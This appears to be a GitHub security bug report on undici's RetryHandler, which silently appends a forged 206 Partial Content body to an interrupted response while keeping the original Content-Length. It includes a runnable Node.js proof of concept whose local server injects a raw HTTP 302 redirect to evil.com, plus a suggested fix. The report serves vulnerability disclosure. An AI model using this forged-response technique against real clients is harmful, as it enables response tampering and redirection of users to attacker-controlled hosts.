Skip to content

RetryHandler allows silent response body corruption via forged 206 response #4970

@samuel871211

Description

@samuel871211

Summary:

undici's RetryHandler can silently return a final response body that is inconsistent with the original response metadata during resume. When a response is interrupted after partially delivering a body, a malicious upstream can reply to the automatic range retry with a forged 206 Partial Content response whose Content-Range appears acceptable, but whose body does not actually correspond to the claimed range. RetryHandler then appends the forged body to the previously received bytes without surfacing an error, causing the application to receive a corrupted response while stale metadata such as the original Content-Length is preserved.

Description:

sequenceDiagram
        participant u as undici
        participant s as server

        u ->> s: GET /users/1 HTTP/1.1
        s ->> u: HTTP/1.1 200 OK<br/>Content-Length: 5<br/>ETag: 123<br/>Cache-Control: max-age=600<br/><br/>use
        Note over u,s: connection interrupted
        u ->> s: GET /users/1 HTTP/1.1<br/>If-Match: 123<br/>Range: bytes=3-4
        s ->> u: HTTP/1.1 206 Partial Content<br/>ETag: 123<br/>Content-Range: bytes 3-4/5<br/>Content-Length: 70<br/><br/>r1HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\n
        Note over u: undici returns a response<br/>with Content-Length: 5<br/>but delivers a 73-byte body
Loading

Steps To Reproduce:

import assert from "assert";
import http from "http";
import { Client, interceptors } from "undici";

// constants
const User1 = "user1";
const InjectedResponse = "HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\n";

// server
let count = 0;
const server = http.createServer();
server.listen(5000);
server.on("request", (req, res) => {
  count++;
  const { url, method, headers } = req;
  console.log({ count, method, url, headers});

  // First response: advertise a 5-byte body, send only the first 3 bytes,
  // then abruptly terminate the connection.
  if (count === 1) {
    res.setHeader("ETag", "123");
    res.setHeader("Content-Length", 5);
    res.setHeader("Cache-Control", "max-age=600");
    res.write(User1.slice(0,3), () => res.destroy());
    return;
  }
  // Second request: RetryHandler resumes from the last received offset.
  assert(req.headers.range === "bytes=3-4");
  assert(req.headers["if-match"] === "123");

  // Second response: claim to resume bytes 3-4 of the original 5-byte
  // representation, but actually return extra attacker-controlled bytes.
  res.statusCode = 206;
  res.setHeader("ETag", req.headers["if-match"]);
  res.setHeader("Content-Range", "bytes 3-4/5");
  res.end(User1.slice(3) + InjectedResponse);
});

// client
try {
  const client = new Client("http://localhost:5000").compose(interceptors.retry());
  const response = await client.request({ method: "GET", path: "/users/1" });
  const { body: readable, ...responseWithoutBody } = response;
  const body = await readable.text();
  console.log({ responseWithoutBody, body });
  // undici preserves the original 200 response metadata, including
  // `content-length: 5`, but silently returns a longer, recombined body.
  assert(responseWithoutBody.statusCode === 200);
  assert(responseWithoutBody.headers["content-length"] === "5");
  assert(body === User1 + InjectedResponse);
  console.log("If no assertion error, then the PoC is complete.")
} catch (e) {
  console.log({ e });
  process.exit(1);
}
  1. Save and run the provided PoC. The local server listens on http://localhost:5000 and simulates an interrupted response followed by a forged 206 Partial Content resume response.

  2. The first response advertises:

    • HTTP/1.1 200 OK
    • Content-Length: 5
    • ETag: 123
    • Cache-Control: max-age=600

    but only sends the first 3 bytes of user1 (use) before destroying the connection.

  3. undici with interceptors.retry() automatically retries the request and sends:

    • If-Match: 123
    • Range: bytes=3-4
  4. The server responds with:

    • HTTP/1.1 206 Partial Content
    • Content-Range: bytes 3-4/5
    • ETag: 123

    but the body is not limited to the claimed range. Instead, it returns:

    • the remaining bytes of user1 (r1)
    • followed by attacker-controlled extra bytes:
      HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\n
  5. Observe the final client-side result:

    • response.statusCode remains 200
    • response.headers["content-length"] remains "5"
    • await body.text() returns user1HTTP/1.1 302 Found...
  6. This demonstrates that undici silently preserves the original response metadata while returning a recombined body that is longer than the declared Content-Length and contains attacker-controlled appended bytes.

Supporting Material/References:

  • Tested Node.js version: v22.22.2, v24.14.1, v25.8.2
  • Tested undici version: v8.0.1, v7.24.7
  • /lib/handler/retry-handler.js

Prerequisites

  1. The application opts into interceptors.retry().
  2. The first response body is interrupted after partially delivering the original representation, causing undici to issue a second conditional range request.
  3. The second response is a forged 206 Partial Content response whose Content-Range appears acceptable to RetryHandler, but whose body does not actually match the claimed range and instead includes extra attacker-controlled bytes.

Suggested Fix

When resuming a response, undici should verify that the server-declared Content-Range is consistent with the actual response body framing before recombining it with previously received bytes.

  • If the response is framed with Content-Length, undici should ensure that the claimed Content-Range matches the length of the received body.
  • If the response is framed with Transfer-Encoding, undici should ensure that the claimed Content-Range matches the actual decoded body length delivered for that response.

If the claimed Content-Range and the actual response body length are inconsistent, undici should reject the response instead of silently recombining it.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions